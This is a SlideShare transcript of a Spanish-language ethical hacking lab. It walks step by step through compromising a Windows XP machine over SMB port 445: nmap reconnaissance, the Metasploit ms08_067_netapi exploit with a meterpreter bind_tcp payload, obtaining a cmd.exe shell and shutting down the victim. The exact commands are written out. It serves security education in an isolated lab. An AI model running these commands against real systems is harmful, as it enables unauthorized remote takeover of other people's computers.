Your SlideShare is downloading. ×
Ataque win xp
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Ataque win xp

1,394

Published on

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
1,394
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
72
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Laboratorio Nº 1Tema: Ataque a máquina Windows XP puerto 445Fecha: 29-may-2010Autor: Jorge Armando Rojas Osorioe-mail: jorgearmandor@gmail.com
  • 2. INTRODUCCIÓNEl puerto TCP 445 abierto por defecto maquinas con Windows XP o Windows2000, es utilizado para manejar recursos e impresoras compartidas a través deuna red, utilizando el protocolo SMB (Server Messagge Block) a través de TCP/IPA través de herramientas existentes en la distribución GNU/Linux BackTrack 4.0,se llevan a cabo una serie de pasos para lograr realizar una penetración alsistema Windows XP en el cual la maquina atacante lograra tener acceso remoto ypodrá controlar esta misma.Antes que todo se realiza un mapeo al equipo víctima en el cual se observan lospuertos vulnerables, que tipo de servicio presta, además información que puedeser útil durante el ataque en forma controlada.
  • 3. Paso 1:Al probar el comando ifconfig se observa que solo esta activa la interfaz local lopor lo que es necesario ejecutar una serie de comandos para levantar la interfazeth0 para obtener la dirección IP de la maquina BackTrack.Iniciamos los servicios de red en menu > services > NETWORK y damos click enStart NETWORKNuevamente probamos el comando ifconfig y observamos algo similar a lo que lafigura muestra.De esta forma obtenemos la dirección IP de BackTrack. IP: 192.168.56.102En la maquina Windows XP, dentro de símbolo de sistema ejecutamos elcomando ipconfig con el cual obtenemos la dirección IP de la misma.
  • 4. IP: 192.168.56.101Ya con las dos direcciones de red, realizamos pruebas de conexión dentro de lared local.Prueba 1: realizar un ping desde la maquina atacante a la víctima y viceversa.Prueba 2: dentro del equipo atacante iniciamos el servidor apache para que lavíctima se conecte a este, usamos el comando sudo /etc/init.d/apache2 startabrimos un navegador web y escribimos la dirección 127.0.0.1 o la IP del mismoen este caso 192.168.56.102, en el cual observamos un mensaje It Works! con loque el servidor apache ha sido inicializado correctamente. Vamos a la maquinaWindows y de igual forma abrimos un navegador web e ingresamos la dirección dedonde se inicio el servidor apache, en el cual se observa el mismo mensaje.Paso 2:Después de la identificación de la víctima, se hace un mapeo o escaneo depuertos usando la herramienta nmap el cual nos devuelve diferente tipo deinformación muy importante para la realización del ataque.Al ejecutar en una consola el comando nmap el resultado devuelto nos muestralas diferentes formas de uso que tiene este mismo, de las cuales mostraremos lasmás sencillas de usar. • nmap -PN 192.168.56.101 nos permite observar los puertos que la maquina tiene habilitados y el estado en que se encuentran.
  • 5. En la imagen anterior se observa que la maquina victima, tiene 997 puertoscerrados, pero tiene habilitados los puertos 135, 139, 445 todos TCP y con estadoabierto, de esta forma utilizaremos el puerto TCP 445 para realizar el acceso a lamaquina. • nmap -sV 192.168.56.101 este comando nos permite por medio de la sentencia sV observar que servicios presta cada uno de los puertos habilitados y que versión tiene dicho puerto, además nos da una pequeña información del sistema operativo que tiene la maquina atacada.Tal como el recuadro blanco de la figura anterior lo muestra la maquina atacadatiene un sistema operativo Windows. • sudo nmap -O 192.168.56.101 la ejecución de este comando nos muestra toda la información del sistema operativo del equipo víctima.
  • 6. Como se observa en la figura anterior el recuadro blanco muestra informacióncomo la dirección física del equipo la versión de sistema operativo en este casoXP y los detalles del sistema operativo en el caso muestra que es un Windows XPSP2 o SP3 o una maquina con Windows Server 2003.Paso 3:Con toda esta información recopilada, se realiza la penetración al sistema paraello dentro del BackTrack entramos al Menú – BackTrack – Penetration –Framework Version 3. Dentro de este submenú se encuentran las diferentesformas de usar la herramienta • Msfconsole: modo consola por medio de comandos • Msfgui: modo grafico • Msfweb: por medio de un navegador web, ejecutando esta forma y dentro del navegador ingresando la dirección http://127.0.0.1:55555 • Msfcli: muestra los diferentes exploits que contiene el metasploit frameworkNOTA: para la realización de esta práctica se usara el modo consola ejecutandoen este menú el Msfconsole o como usuario root se escribe
  • 7. cd /opt/metasploit/msf3 para ir a la ruta del metasploit framework donde seejecuta el comando ./msfconsole para iniciar.Al iniciar el modo consola nos muestra algo similar a la siguiente imagenUna vez dentro del msf3 se ejecutan una serie de comandos con los cuales se vaa armar el ataque a la victima (paso paso será explicado en qué consiste cadacomando).Inicialmente se escoge el exploit a ejecutar el cual es un fragmento de código osentencia que se aprovecha de un error o fallo de seguridad en este caso sevulnera el puerto 445 como se viene mencionando anteriormente.Para ello escribimos el comando use windows/smb/ms08_067_netapi
  • 8. La imagen anterior muestra que el exploit ha sido establecido de forma correcta.Luego de realizar la anterior acción se establece el payload, esta es la operaciónmás importante, ya que es la acción que se va a ejecutar cuando la maquinavictima ha sido atacada, en este caso se usa meterpreter. El meterpreter o metainterprete es una familia de plugins avanzados para utilizar sobre sistemasWindows comprometidos que tienen como característica fundamental que todo escargado en la memoria del sistema sin crear ningún proceso adicional.Usamos el comando set payload windows/meterpreter/bind_tcpLa imagen anterior muestra que se ha establecido de forma correctaNOTA: además de este método, se puede usarwindows/meterpreter/reverse_tcp el cual realiza las funciones de forma inversa,otro de los payloads usados es el windows/shell/bind_tcp o reverse_tcp el cualnos abre una sesión de símbolo del sistema de Windows.Luego de establecida la acción se verifica que información hace falta para que elexploit se ejecute de forma correcta, para esto usamos el comando show options
  • 9. Como muestra la imagen anterior los campos RHOST y LHOST se encuentranvacios, por lo que se deben establecer estos dos campos los cuales debencontener una dirección de red. RHOST es la maquina víctima o host remoto yLHOST la maquina atacante o host localSe usa el comando set RHOST 192.168.56.101 para establecer la dirección de lavictimaSe establece el host local por medio de set LHOST 192.168.56.102Nuevamente verificamos las opciones con show optionsLa sentencia nos devuelve los campos con los datos correspondientes, de estaforma el exploit se encuentra armado y listo para ejecutarse
  • 10. Después de tantos comandos en el armado del exploit viene la parte másdivertida, es la de lanzar de una vez el ataque con lo que sencillamente basta conescribir la palabra exploit de esta forma se empieza a establecer la comunicaciónentre los dos hosts y se logra ejecutar el payload anteriormente establecidoCon la sesión meterpreter creada podemos usar el comando ps para visualizarlos procesos que la victima está ejecutando en ese momento, de la misma formase puede crear una sesión de símbolo de sistema de Windows usando execute -fcmd.exe -c -i con lo cual se obtiene el acceso al intérprete de comandos dentrodel directorio C:WINDOWSsystem32>De esta forma la maquina victima esta bajo el control del atacante donde sepueden hacer todas las acciones a su antojo como por ejemplo dejar un mensajeen el escritorio
  • 11. Al comprobar en Windows XP:Te invito a probar C:WINDOWSsystem32>shutdown –s y observa lo que ocurreNOTA FINAL: Este laboratorio se realizo en un ambiente controlado sin afectar aotras personas, la realización de un laboratorio de hacking ético solo tiene fineseducativos. BY: BenderX

×